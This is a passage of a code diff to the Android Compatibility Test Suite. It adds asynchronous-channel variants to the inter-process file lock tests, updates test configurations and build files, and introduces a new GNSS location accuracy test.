+                localChannelType, remoteChannelType, true /* expectToWait */);
         checkLockBehavior(LockType.LOCK, LockType.SHARED_LOCK_ON_REGION_WITH_TRY_LOCK,
-                true /* expectToWait */);
+                localChannelType, remoteChannelType, true /* expectToWait */);
+    }
+
+    public void test_lockJJZ_Exclusive_syncChannel() throws Exception {
+        doTest_lockJJZ_Exclusive(ChannelType.SYNC_CHANNEL, ChannelType.SYNC_CHANNEL);
+    }
+
+    public void test_lockJJZ_Exclusive_asyncChannel() throws Exception {
+        doTest_lockJJZ_Exclusive(ChannelType.ASYNC_CHANNEL, ChannelType.ASYNC_CHANNEL);
+    }
+
+    public void test_lockJJZ_Exclusive_differentChannelTypes() throws Exception {
+        checkLockBehavior(LockType.LOCK_ON_REGION_WITH_LOCK, LockType.LOCK,
+                ChannelType.SYNC_CHANNEL, ChannelType.ASYNC_CHANNEL, true /* expectToWait */);
+        checkLockBehavior(LockType.LOCK_ON_REGION_WITH_LOCK, LockType.LOCK,
+                ChannelType.ASYNC_CHANNEL, ChannelType.SYNC_CHANNEL, true /* expectToWait */);
+
+        checkLockBehavior(LockType.LOCK_ON_REGION_WITH_LOCK,
+                LockType.LOCK_ON_NON_OVERLAPPING_REGION_WITH_TRY_LOCK,
+                ChannelType.SYNC_CHANNEL, ChannelType.ASYNC_CHANNEL, false /* expectToWait */);
+        checkLockBehavior(LockType.LOCK_ON_REGION_WITH_LOCK,
+                LockType.LOCK_ON_NON_OVERLAPPING_REGION_WITH_TRY_LOCK,
+                ChannelType.ASYNC_CHANNEL, ChannelType.SYNC_CHANNEL, false /* expectToWait */);
     }
 
     /**
-     * java.nio.channels.FileChannel#lock(long, long, boolean)
+     * java.nio.channels.[Asynchronous]FileChannel#lock(long, long, boolean)
      *
      * Obtains a remote lock, then attempts to acquire a local lock on the same file,
      * and checks the behavior.
      * checkTryLockBehavior(localLockType, remoteLockType, expectedLocalLockResult)
      * expectedLockLockResult: {@code true} if blocks the local thread, {@code false} otherwise.
      */
-    public void test_lockJJZ_Exclusive() throws Exception {
+    private void doTest_lockJJZ_Exclusive(ChannelType localChannelType,
+            ChannelType remoteChannelType) throws Exception {
         checkLockBehavior(LockType.LOCK_ON_REGION_WITH_LOCK, LockType.LOCK,
-                true /* expectToWait */);
+                localChannelType, remoteChannelType, true /* expectToWait */);
         checkLockBehavior(LockType.LOCK_ON_REGION_WITH_LOCK, LockType.LOCK_ON_REGION_WITH_LOCK,
-                true /* expectToWait */);
+                localChannelType, remoteChannelType, true /* expectToWait */);
         checkLockBehavior(LockType.LOCK_ON_REGION_WITH_LOCK,
-                LockType.SHARED_LOCK_ON_REGION_WITH_LOCK, true /* expectToWait */);
+                LockType.SHARED_LOCK_ON_REGION_WITH_LOCK,
+                localChannelType, remoteChannelType, true /* expectToWait */);
         checkLockBehavior(LockType.LOCK_ON_REGION_WITH_LOCK,
-                LockType.LOCK_ON_NON_OVERLAPPING_REGION_WITH_LOCK, false /* expectToWait */);
+                LockType.LOCK_ON_NON_OVERLAPPING_REGION_WITH_LOCK,
+                localChannelType, remoteChannelType, false /* expectToWait */);
         checkLockBehavior(LockType.LOCK_ON_REGION_WITH_LOCK,
-                LockType.SHARED_LOCK_ON_NON_OVERLAPPING_REGION_WITH_LOCK, false /* expectToWait */);
+                LockType.SHARED_LOCK_ON_NON_OVERLAPPING_REGION_WITH_LOCK,
+                localChannelType, remoteChannelType, false /* expectToWait */);
 
         checkLockBehavior(LockType.LOCK_ON_REGION_WITH_LOCK, LockType.TRY_LOCK,
-                true /* expectToWait */);
+                localChannelType, remoteChannelType, true /* expectToWait */);
         checkLockBehavior(LockType.LOCK_ON_REGION_WITH_LOCK, LockType.LOCK_ON_REGION_WITH_TRY_LOCK,
-                true /* expectToWait */);
+                localChannelType, remoteChannelType, true /* expectToWait */);
         checkLockBehavior(LockType.LOCK_ON_REGION_WITH_LOCK,
-                LockType.SHARED_LOCK_ON_REGION_WITH_TRY_LOCK, true /* expectToWait */);
+                LockType.SHARED_LOCK_ON_REGION_WITH_TRY_LOCK,
+                localChannelType, remoteChannelType, true /* expectToWait */);
         checkLockBehavior(LockType.LOCK_ON_REGION_WITH_LOCK,
-                LockType.LOCK_ON_NON_OVERLAPPING_REGION_WITH_TRY_LOCK, false /* expectToWait */);
+                LockType.LOCK_ON_NON_OVERLAPPING_REGION_WITH_TRY_LOCK,
+                localChannelType, remoteChannelType, false /* expectToWait */);
         checkLockBehavior(LockType.LOCK_ON_REGION_WITH_LOCK,
                 LockType.SHARED_LOCK_ON_NON_OVERLAPPING_REGION_WITH_TRY_LOCK,
-                false /* expectToWait */);
+                localChannelType, remoteChannelType, false /* expectToWait */);
+    }
+
+    public void test_lockJJZ_Shared_syncChannel() throws Exception {
+        doTest_lockJJZ_Shared(ChannelType.SYNC_CHANNEL, ChannelType.SYNC_CHANNEL);
+    }
+
+    public void test_lockJJZ_Shared_asyncChannel() throws Exception {
+        doTest_lockJJZ_Shared(ChannelType.ASYNC_CHANNEL, ChannelType.ASYNC_CHANNEL);
+    }
+
+    public void test_lockJJZ_Shared_differentChannelTypes() throws Exception {
+        checkLockBehavior(LockType.SHARED_LOCK_ON_REGION_WITH_LOCK, LockType.LOCK,
+                ChannelType.SYNC_CHANNEL, ChannelType.ASYNC_CHANNEL, true /* expectToWait */);
+        checkLockBehavior(LockType.SHARED_LOCK_ON_REGION_WITH_LOCK, LockType.LOCK,
+                ChannelType.ASYNC_CHANNEL, ChannelType.SYNC_CHANNEL, true /* expectToWait */);
+
+        checkLockBehavior(LockType.SHARED_LOCK_ON_REGION_WITH_LOCK,
+                LockType.LOCK_ON_NON_OVERLAPPING_REGION_WITH_TRY_LOCK,
+                ChannelType.SYNC_CHANNEL, ChannelType.ASYNC_CHANNEL, false /* expectToWait */);
+        checkLockBehavior(LockType.SHARED_LOCK_ON_REGION_WITH_LOCK,
+                LockType.LOCK_ON_NON_OVERLAPPING_REGION_WITH_TRY_LOCK,
+                ChannelType.ASYNC_CHANNEL, ChannelType.SYNC_CHANNEL, false /* expectToWait */);
     }
 
     /**
-     * java.nio.channels.FileChannel#lock(long, long, boolean)
+     * java.nio.channels.[Asynchronous]FileChannel#lock(long, long, boolean)
      *
      * Obtains a remote lock, then attempts to acquire a local lock on the same file,
      * and checks the behavior.
      * checkTryLockBehavior(localLockType, remoteLockType, expectedLocalLockResult)
      * expectedLockLockResult: {@code true} if blocks the local thread, {@code false} otherwise.
      */
-    public void test_lockJJZ_Shared() throws Exception {
+    private void doTest_lockJJZ_Shared(ChannelType localChannelType,
+            ChannelType remoteChannelType) throws Exception {
         checkLockBehavior(LockType.SHARED_LOCK_ON_REGION_WITH_LOCK, LockType.LOCK,
-                true /* expectToWait */);
+                localChannelType, remoteChannelType, true /* expectToWait */);
         checkLockBehavior(LockType.SHARED_LOCK_ON_REGION_WITH_LOCK,
-                LockType.LOCK_ON_REGION_WITH_LOCK, true /* expectToWait */);
+                LockType.LOCK_ON_REGION_WITH_LOCK,
+                localChannelType, remoteChannelType, true /* expectToWait */);
         checkLockBehavior(LockType.SHARED_LOCK_ON_REGION_WITH_LOCK,
-                LockType.SHARED_LOCK_ON_REGION_WITH_LOCK, false /* expectToWait */);
+                LockType.SHARED_LOCK_ON_REGION_WITH_LOCK,
+                localChannelType, remoteChannelType, false /* expectToWait */);
         checkLockBehavior(LockType.SHARED_LOCK_ON_REGION_WITH_LOCK,
-                LockType.LOCK_ON_NON_OVERLAPPING_REGION_WITH_LOCK, false /* expectToWait */);
+                LockType.LOCK_ON_NON_OVERLAPPING_REGION_WITH_LOCK,
+                localChannelType, remoteChannelType, false /* expectToWait */);
         checkLockBehavior(LockType.SHARED_LOCK_ON_REGION_WITH_LOCK,
-                LockType.SHARED_LOCK_ON_NON_OVERLAPPING_REGION_WITH_LOCK, false /* expectToWait */);
+                LockType.SHARED_LOCK_ON_NON_OVERLAPPING_REGION_WITH_LOCK,
+                localChannelType, remoteChannelType, false /* expectToWait */);
 
         checkLockBehavior(LockType.SHARED_LOCK_ON_REGION_WITH_LOCK, LockType.TRY_LOCK,
-                true /* expectToWait */);
+                localChannelType, remoteChannelType, true /* expectToWait */);
         checkLockBehavior(LockType.SHARED_LOCK_ON_REGION_WITH_LOCK,
-                LockType.LOCK_ON_REGION_WITH_TRY_LOCK, true /* expectToWait */);
+                LockType.LOCK_ON_REGION_WITH_TRY_LOCK,
+                localChannelType, remoteChannelType, true /* expectToWait */);
         checkLockBehavior(LockType.SHARED_LOCK_ON_REGION_WITH_LOCK,
-                LockType.SHARED_LOCK_ON_REGION_WITH_TRY_LOCK, false /* expectToWait */);
+                LockType.SHARED_LOCK_ON_REGION_WITH_TRY_LOCK,
+                localChannelType, remoteChannelType, false /* expectToWait */);
         checkLockBehavior(LockType.SHARED_LOCK_ON_REGION_WITH_LOCK,
-                LockType.LOCK_ON_NON_OVERLAPPING_REGION_WITH_TRY_LOCK, false /* expectToWait */);
+                LockType.LOCK_ON_NON_OVERLAPPING_REGION_WITH_TRY_LOCK,
+                localChannelType, remoteChannelType, false /* expectToWait */);
         checkLockBehavior(LockType.SHARED_LOCK_ON_REGION_WITH_LOCK,
                 LockType.SHARED_LOCK_ON_NON_OVERLAPPING_REGION_WITH_TRY_LOCK,
-                false /* expectToWait */);
+                localChannelType, remoteChannelType, false /* expectToWait */);
     }
 
     /**
-     * Checks the behavior of java.nio.Channels.FileChannel#tryLock() and #tryLock(J, J, Z)
+     * Checks the behavior of java.nio.Channels.[Asynchronous]FileChannel#tryLock()
+     * and #tryLock(J, J, Z)
      *
-     * @param localLockType the type of lock to be acquired by the test
-     * @param remoteLockType the type of lock to be acquired by the remote service
+     * @param localLockType the type of lock to be acquired by the test.
+     * @param remoteLockType the type of lock to be acquired by the remote service.
+     * @param localChannelType the type of the channel that acquires the lock locally.
+     * @param remoteChannelType the type of channel that acquires the lock remotely.
      * @param expectToGetLock {@code true}, if the lock should be acquired even when the
      *         service holds a {@code remoteLockType} lock, false otherwise.
      */
     private void checkTryLockBehavior(LockType localLockType, LockType remoteLockType,
+            ChannelType localChannelType, ChannelType remoteChannelType,
             boolean expectToGetLock) throws Exception {
         IntentReceiver.resetReceiverState();
 
         // Request that the remote lock be obtained.
         getContext().startService(new Intent(getContext(), LockHoldingService.class)
-                .putExtra(LockHoldingService.LOCK_TYPE_KEY, remoteLockType));
+                .putExtra(LockHoldingService.LOCK_TYPE_KEY, remoteLockType)
+                .putExtra(LockHoldingService.CHANNEL_TYPE_KEY, remoteChannelType));
 
         // Wait for a signal that the remote lock is definitely held.
         assertTrue(IntentReceiver.lockHeldLatch.await(MAX_WAIT_TIME, SECONDS));
@@ -262,25 +432,28 @@
         // Try to acquire the local lock in all cases and check whether it could be acquired or
         // not as expected.
         if (expectToGetLock) {
-            FileLock fileLock = acquire(localLockType);
+            FileLock fileLock = acquire(localLockType, localChannelType);
             assertNotNull(fileLock);
             assertTrue(fileLock.isValid());
         } else {
-            assertNull(acquire(localLockType));
+            assertNull(acquire(localLockType, localChannelType));
         }
         // Release the remote lock.
         stopService();
     }
 
     /**
-     * Checks the java.nio.channels.FileChannel.lock()/lock(J, J, Z) behavior.
+     * Checks the java.nio.channels.[Asynchronous]FileChannel.lock()/lock(J, J, Z) behavior.
      *
-     * @param localLockType type of lock to be acquired by the test
-     * @param remoteLockType type of lock to be acquired by the remote service.
+     * @param localLockType type of lock to be acquired by the tes.t
+     * @param remoteLockType type of lock to be acquired by the remote service..
+     * @param localChannelType the type of the channel that acquires the lock locally.
+     * @param remoteChannelType the type of channel that acquires the lock remotely.
      * @param expectToWait {@code true}, if the local thread must wait for the remote
      *         service to release the lock, {@code false} otherwise.
      */
     private void checkLockBehavior(LockType localLockType, LockType remoteLockType,
+            ChannelType localChannelType, ChannelType remoteChannelType,
             boolean expectToWait) throws Exception {
         IntentReceiver.resetReceiverState();
 
@@ -298,6 +471,7 @@
         Intent sendIntent = new Intent(getContext(), LockHoldingService.class)
                 .putExtra(LockHoldingService.TIME_TO_HOLD_LOCK_KEY, remoteLockHoldTimeMillis)
                 .putExtra(LockHoldingService.LOCK_TYPE_KEY, remoteLockType)
+                .putExtra(LockHoldingService.CHANNEL_TYPE_KEY, remoteChannelType)
                 .putExtra(LockHoldingService.LOCK_BEHAVIOR_RELEASE_AND_NOTIFY_KEY, true);
 
         getContext().startService(sendIntent);
@@ -308,7 +482,7 @@
         long localLockNotObtainedTime = System.currentTimeMillis();
 
         // Acquire the lock locally.
-        FileLock fileLock = acquire(localLockType);
+        FileLock fileLock = acquire(localLockType, localChannelType);
         long localLockObtainedTime = System.currentTimeMillis();
 
         // Wait until the remote lock has definitely been released.
@@ -358,11 +532,16 @@
      */
     void stopService() throws Exception {
         getContext().stopService(new Intent(getContext(), LockHoldingService.class));
-        assertTrue(IntentReceiver.onStopLatch.await(MAX_WAIT_TIME, SECONDS));
+        // onStopLatch can be null if we never start the service, possibly because of
+        // an earlier failure in the test.
+        if (IntentReceiver.onStopLatch != null) {
+            assertTrue(IntentReceiver.onStopLatch.await(MAX_WAIT_TIME, SECONDS));
+        }
+
         deleteDir();
     }
 
-    enum LockType {
+    static enum LockType {
 
         /** Equivalent to {@code tryLock()} */
         TRY_LOCK,
@@ -407,6 +586,13 @@
         SHARED_LOCK_ON_NON_OVERLAPPING_REGION_WITH_LOCK,
     }
 
+    static enum ChannelType {
+        /** Represents an {@code java.nio.channels.FileChannel} */
+        SYNC_CHANNEL,
+        /** Represents an {@code java.nio.channels.AsynchronousFileChannel} */
+        ASYNC_CHANNEL,
+    }
+
     /**
      * Tries to acquire a lock of {@code lockType} on the file returned by
      * {@link #createFileInDir()} method.
@@ -423,42 +609,87 @@
      *         {@link LockType#LOCK_ON_NON_OVERLAPPING_REGION_WITH_LOCK}
      *         {@link LockType#SHARED_LOCK_ON_REGION_WITH_LOCK}
      *         {@link LockType#SHARED_LOCK_ON_NON_OVERLAPPING_REGION_WITH_LOCK}
-     * @return Returns the lock returned by the lock method.
+     * @param channelType the type of channel used to acquire the lock.
+     * @return the lock returned by the lock method.
      * @throws UnsupportedOperationException
      *         If the {@code lockType} is of non recognized type.
      */
-    static FileLock acquire(LockType lockType) throws IOException {
+    static FileLock acquire(LockType lockType, ChannelType channelType) throws
+            IOException, InterruptedException, ExecutionException {
         File file = createFileInDir();
         file.createNewFile();
+
+        FileChannel fc = null;
+        AsynchronousFileChannel afc = null;
+        if (channelType == ChannelType.SYNC_CHANNEL) {
+            fc = FileChannel.open(file.toPath(),
+                    StandardOpenOption.WRITE, StandardOpenOption.READ);
+        } else if (channelType == ChannelType.ASYNC_CHANNEL) {
+            afc = AsynchronousFileChannel.open(file.toPath(),
+                StandardOpenOption.WRITE, StandardOpenOption.READ);
+        }
+
         switch (lockType) {
             case TRY_LOCK:
-                return new FileOutputStream(file).getChannel().tryLock();
+                if (fc != null) {
+                    return fc.tryLock();
+                } else {
+                    return afc.tryLock();
+                }
             case LOCK_ON_REGION_WITH_TRY_LOCK:
-                return new FileOutputStream(file).getChannel()
-                        .tryLock(LOCK_POSITION, LOCK_SIZE, false /*isShared*/);
+                if (fc != null) {
+                    return fc.tryLock(LOCK_POSITION, LOCK_SIZE, false /*isShared*/);
+                } else {
+                    return afc.tryLock(LOCK_POSITION, LOCK_SIZE, false /*isShared*/);
+                }
             case LOCK_ON_NON_OVERLAPPING_REGION_WITH_TRY_LOCK:
-                return new FileOutputStream(file).getChannel()
-                        .tryLock(LOCK_POSITION + LOCK_SIZE, LOCK_SIZE, false /*isShared*/);
+                if (fc != null) {
+                    return fc.tryLock(LOCK_POSITION + LOCK_SIZE, LOCK_SIZE, false /*isShared*/);
+                } else {
+                    return afc.tryLock(LOCK_POSITION + LOCK_SIZE, LOCK_SIZE, false /*isShared*/);
+                }
             case SHARED_LOCK_ON_REGION_WITH_TRY_LOCK:
-                return new FileInputStream(file).getChannel()
-                        .tryLock(LOCK_POSITION, LOCK_SIZE, true /*isShared*/);
+                if (fc != null) {
+                    return fc.tryLock(LOCK_POSITION, LOCK_SIZE, true /*isShared*/);
+                } else {
+                    return afc.tryLock(LOCK_POSITION, LOCK_SIZE, true /*isShared*/);
+                }
             case SHARED_LOCK_ON_NON_OVERLAPPING_REGION_WITH_TRY_LOCK:
-                return new FileInputStream(file).getChannel()
-                        .tryLock(LOCK_POSITION + LOCK_SIZE, LOCK_SIZE, true /*isShared*/);
+                if (fc != null) {
+                    return fc.tryLock(LOCK_POSITION + LOCK_SIZE, LOCK_SIZE, true /*isShared*/);
+                } else {
+                    return afc.tryLock(LOCK_POSITION + LOCK_SIZE, LOCK_SIZE, true /*isShared*/);
+                }
             case LOCK:
-                return new FileOutputStream(file).getChannel().lock();
+                if (fc != null) {
+                    return fc.lock();
+                } else {
+                    return afc.lock().get();
+                }
             case LOCK_ON_REGION_WITH_LOCK:
-                return new FileOutputStream(file).getChannel()
-                        .lock(LOCK_POSITION, LOCK_SIZE, false /*isShared*/);
+                if (fc != null) {
+                    return fc.lock(LOCK_POSITION, LOCK_SIZE, false /*isShared*/);
+                } else {
+                    return afc.lock(LOCK_POSITION, LOCK_SIZE, false /*isShared*/).get();
+                }
             case LOCK_ON_NON_OVERLAPPING_REGION_WITH_LOCK:
-                return new FileOutputStream(file).getChannel()
-                        .lock(LOCK_POSITION + LOCK_SIZE, LOCK_SIZE, false /*isShared*/);
+                if (fc != null) {
+                    return fc.lock(LOCK_POSITION + LOCK_SIZE, LOCK_SIZE, false /*isShared*/);
+                } else {
+                    return afc.lock(LOCK_POSITION + LOCK_SIZE, LOCK_SIZE, false /*isShared*/).get();
+                }
             case SHARED_LOCK_ON_REGION_WITH_LOCK:
-                return new FileInputStream(file).getChannel()
-                        .lock(LOCK_POSITION, LOCK_SIZE, true /*isShared*/);
+                if (fc != null) {
+                    return fc.lock(LOCK_POSITION, LOCK_SIZE, true /*isShared*/);
+                } else {
+                    return afc.lock(LOCK_POSITION, LOCK_SIZE, true /*isShared*/).get();
+                }
             case SHARED_LOCK_ON_NON_OVERLAPPING_REGION_WITH_LOCK:
-                return new FileInputStream(file).getChannel()
-                        .lock(LOCK_POSITION + LOCK_SIZE, LOCK_SIZE, true /*isShared*/);
+                if (fc != null) {
+                    return fc.lock(LOCK_POSITION + LOCK_SIZE, LOCK_SIZE, true /*isShared*/);
+                } else {
+                    return afc.lock(LOCK_POSITION + LOCK_SIZE, LOCK_SIZE, true /*isShared*/).get();
+                }
             default:
                 throw new UnsupportedOperationException("Unknown lock type");
         }
diff --git a/tests/tests/libcorefileio/src/android/cts/LockHoldingService.java b/tests/tests/libcorefileio/src/android/cts/LockHoldingService.java
index 7c0a51d..078facf 100644
--- a/tests/tests/libcorefileio/src/android/cts/LockHoldingService.java
+++ b/tests/tests/libcorefileio/src/android/cts/LockHoldingService.java
@@ -23,6 +23,10 @@
 
 import java.io.IOException;
 import java.nio.channels.FileLock;
+import java.util.concurrent.ExecutionException;
+
+import static android.cts.FileChannelInterProcessLockTest.ChannelType;
+import static android.cts.FileChannelInterProcessLockTest.LockType;
 
 /**
  * A Service that listens for commands from the FileChannelInterProcessLockTest to acquire locks of
@@ -78,6 +82,11 @@
     static final String LOCK_TYPE_KEY = "lockType";
 
     /**
+     * The key of the Bundle extra used for the type of the channel that acquires the lock.
+     */
+    static final String CHANNEL_TYPE_KEY = "channelType";
+
+    /**
      * The key of the Bundle extra used to let he service know whether to release the lock after
      * some time.
      */
@@ -103,7 +112,7 @@
                 acquireLock(intent);
             }
         } catch (Exception e) {
-            Log.e(LOG_MESSAGE_TAG, e.getMessage());
+            Log.e(LOG_MESSAGE_TAG, "Exception acquire lock", e);
         }
         return START_STICKY;
     }
@@ -111,13 +120,13 @@
     /**
      * Acquires the lock asked by the test indefinitely.
      */
-    private void acquireLock(Intent intent) throws IOException {
-        FileChannelInterProcessLockTest.LockType lockType =
-                (FileChannelInterProcessLockTest.LockType)intent.getSerializableExtra(
-                        LOCK_TYPE_KEY);
+    private void acquireLock(Intent intent) throws IOException,
+            InterruptedException, ExecutionException {
+        LockType lockType = (LockType) intent.getSerializableExtra(LOCK_TYPE_KEY);
+        ChannelType channelType = (ChannelType) intent.getSerializableExtra(CHANNEL_TYPE_KEY);
 
         // Acquire the lock based on the information contained in the intent received.
-        this.fileLock = FileChannelInterProcessLockTest.acquire(lockType);
+        this.fileLock = FileChannelInterProcessLockTest.acquire(lockType, channelType);
         Intent responseIntent = new Intent()
                 .setPackage("android.libcorefileio.cts")
                 .putExtra(NOTIFICATION_KEY, NOTIFICATION_LOCK_HELD)
@@ -130,14 +139,13 @@
      * releasing the lock.
      */
     private void acquireLockAndThenWaitThenRelease(Intent intent)
-            throws IOException, InterruptedException {
+            throws IOException, InterruptedException, ExecutionException {
         long lockHoldTimeMillis = intent.getLongExtra(TIME_TO_HOLD_LOCK_KEY, 0);
 
         // Acquire the lock.
-        FileChannelInterProcessLockTest.LockType lockType =
-                (FileChannelInterProcessLockTest.LockType)intent.getSerializableExtra(
-                        LOCK_TYPE_KEY);
-        this.fileLock = FileChannelInterProcessLockTest.acquire(lockType);
+        LockType lockType = (LockType) intent.getSerializableExtra(LOCK_TYPE_KEY);
+        ChannelType channelType = (ChannelType) intent.getSerializableExtra(CHANNEL_TYPE_KEY);
+        this.fileLock = FileChannelInterProcessLockTest.acquire(lockType, channelType);
 
         // Signal the lock is now held.
         Intent heldIntent = new Intent()
diff --git a/tests/tests/libcorelegacy22/AndroidTest.xml b/tests/tests/libcorelegacy22/AndroidTest.xml
index cdc6611..20ce1d9 100644
--- a/tests/tests/libcorelegacy22/AndroidTest.xml
+++ b/tests/tests/libcorelegacy22/AndroidTest.xml
@@ -1,3 +1,4 @@
+<?xml version="1.0" encoding="utf-8"?>
 <!-- Copyright (C) 2015 The Android Open Source Project
 
      Licensed under the Apache License, Version 2.0 (the "License");
@@ -13,11 +14,13 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS Legacy Libcore test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="libcore" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsLibcoreLegacy22TestCases.apk" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.libcorelegacy22.cts" />
+        <option name="runtime-hint" value="8m" />
     </test>
-</configuration>
\ No newline at end of file
+</configuration>
diff --git a/tests/tests/location/Android.mk b/tests/tests/location/Android.mk
index 6a8b9d3..bfd9a08 100644
--- a/tests/tests/location/Android.mk
+++ b/tests/tests/location/Android.mk
@@ -27,7 +27,7 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctsdeviceutil ctstestrunner
+    compatibility-device-util ctstestrunner
 
 LOCAL_SDK_VERSION := test_current
 
@@ -47,7 +47,7 @@
 # Tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctsdeviceutil ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/tests/location/AndroidManifest.xml b/tests/tests/location/AndroidManifest.xml
index f9985ba..1357a38 100644
--- a/tests/tests/location/AndroidManifest.xml
+++ b/tests/tests/location/AndroidManifest.xml
@@ -27,6 +27,10 @@
     <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
     <uses-permission android:name="android.permission.ACCESS_LOCATION_EXTRA_COMMANDS"/>
 
+    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
+    <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />>
+    <uses-permission android:name="android.permission.INTERNET" />
+
     <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.location.cts"
                      android:label="CTS tests of android.location">
diff --git a/tests/tests/location/AndroidTest.xml b/tests/tests/location/AndroidTest.xml
index 4ac850e..4f55a93 100644
--- a/tests/tests/location/AndroidTest.xml
+++ b/tests/tests/location/AndroidTest.xml
@@ -14,8 +14,9 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS Location test cases">
+    <option name="config-descriptor:metadata" key="component" value="location" />
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.LocationCheck" />
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsLocationTestCases.apk" />
     </target_preparer>
diff --git a/tests/tests/location/src/android/location/cts/BaseMockLocationTest.java b/tests/tests/location/src/android/location/cts/BaseMockLocationTest.java
index 14019be..7b08da8 100644
--- a/tests/tests/location/src/android/location/cts/BaseMockLocationTest.java
+++ b/tests/tests/location/src/android/location/cts/BaseMockLocationTest.java
@@ -16,7 +16,8 @@
 
 package android.location.cts;
 
-import android.cts.util.LocationUtils;
+import com.android.compatibility.common.util.LocationUtils;
+
 import android.test.InstrumentationTestCase;
 
 /**
diff --git a/tests/tests/location/src/android/location/cts/GnssLocationValuesTest.java b/tests/tests/location/src/android/location/cts/GnssLocationValuesTest.java
new file mode 100644
index 0000000..fe4b1dd
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/GnssLocationValuesTest.java
@@ -0,0 +1,192 @@
+/*
+ * Copyright (C) 2017 Google Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts;
+
+import android.location.Criteria;
+import android.location.Location;
+import android.location.LocationManager;
+import android.util.Log;
+
+/**
+ * Test the {@link Location} values.
+ *
+ * Test steps:
+ * 1. Register for location updates.
+ * 2. Wait for {@link #LOCATION_TO_COLLECT_COUNT} locations.
+ *          3.1 Confirm locations have been found.
+ * 3. Get LastKnownLocation, verified all fields are in the correct range.
+ */
+public class GnssLocationValuesTest extends GnssTestCase {
+
+  private static final String TAG = "GnssLocationValuesTest";
+  private static final int LOCATION_TO_COLLECT_COUNT = 5;
+  private TestLocationListener mLocationListener;
+  private static final int LOCATION_UNCERTIANTY_MIN_YEAR = 2017;
+  private boolean extendedLocationAccuracyExpected = false;
+  private static final double SPEED_EPSILON = 0.001;
+
+  @Override
+  protected void setUp() throws Exception {
+    super.setUp();
+    mTestLocationManager = new TestLocationManager(getContext());
+    int gnssYearOfHardware = mTestLocationManager.getLocationManager().getGnssYearOfHardware();
+    if(gnssYearOfHardware >= LOCATION_UNCERTIANTY_MIN_YEAR) {
+      extendedLocationAccuracyExpected = true;
+    }
+    mLocationListener = new TestLocationListener(LOCATION_TO_COLLECT_COUNT);
+  }
+
+  @Override
+  protected void tearDown() throws Exception {
+    // Unregister listeners
+    if (mLocationListener != null) {
+      mTestLocationManager.removeLocationUpdates(mLocationListener);
+    }
+    super.tearDown();
+  }
+
+  /**
+   * Those accuracy fields are new O-features,
+   * only test them if the hardware is later than 2017
+   */
+  public void testAccuracyFields() throws Exception {
+    SoftAssert softAssert = new SoftAssert(TAG);
+    mTestLocationManager.requestLocationUpdates(mLocationListener);
+    boolean success = mLocationListener.await();
+    SoftAssert.failOrWarning(isMeasurementTestStrict(),
+        "Time elapsed without getting the GNSS locations."
+            + " Possibly, the test has been run deep indoors."
+            + " Consider retrying test outdoors.",
+        success);
+
+    for (Location location : mLocationListener.getReceivedLocationList()) {
+      checkLocationAccuracyFields(softAssert, location,
+          extendedLocationAccuracyExpected);
+    }
+
+    softAssert.assertAll();
+  }
+
+  public static void checkLocationAccuracyFields(SoftAssert softAssert,
+      Location location, boolean extendedLocationAccuracyExpected) {
+    softAssert.assertTrue("All locations generated by the LocationManager "
+        + "should have a horizontal accuracy.", location.hasAccuracy());
+    if (location.hasAccuracy()) {
+      softAssert.assertTrue("Location Accuracy should be greater than 0.",
+          location.getAccuracy() > 0);
+    }
+
+    if (!extendedLocationAccuracyExpected) {
+      return;
+    }
+    Log.i(TAG, "This is a device from 2017 or later.");
+
+    // When speed = 0, the Qualcomm HAL is not filling bearing accuracy.
+    if (location.hasSpeed() && location.getSpeed() > SPEED_EPSILON) {
+      softAssert.assertTrue("When speed is greater than 0, all GNSS locations generated by "
+          + "the LocationManager must have bearing accuracies.", location.hasBearingAccuracy());
+      if (location.hasBearingAccuracy()) {
+        softAssert.assertTrue("Bearing Accuracy should be greater than 0.",
+            location.getBearingAccuracyDegrees() > 0);
+      }
+    }
+
+    softAssert.assertTrue("All GNSS locations generated by the LocationManager "
+        + "must have a speed accuracy.", location.hasSpeedAccuracy());
+    if (location.hasSpeedAccuracy()) {
+      softAssert.assertTrue("Speed Accuracy should be greater than 0.",
+          location.getSpeedAccuracyMetersPerSecond() > 0);
+    }
+    softAssert.assertTrue("All GNSS locations generated by the LocationManager "
+        + "must have a vertical accuracy.", location.hasVerticalAccuracy());
+    if (location.hasVerticalAccuracy()) {
+      softAssert.assertTrue("Vertical Accuracy should be greater than 0.",
+          location.getVerticalAccuracyMeters() > 0);
+    }
+  }
+
+  /**
+   * Get the location info from the device
+   * check whether all fields' value make sense
+   */
+  public void testLocationRegularFields() throws Exception {
+    mTestLocationManager.requestLocationUpdates(mLocationListener);
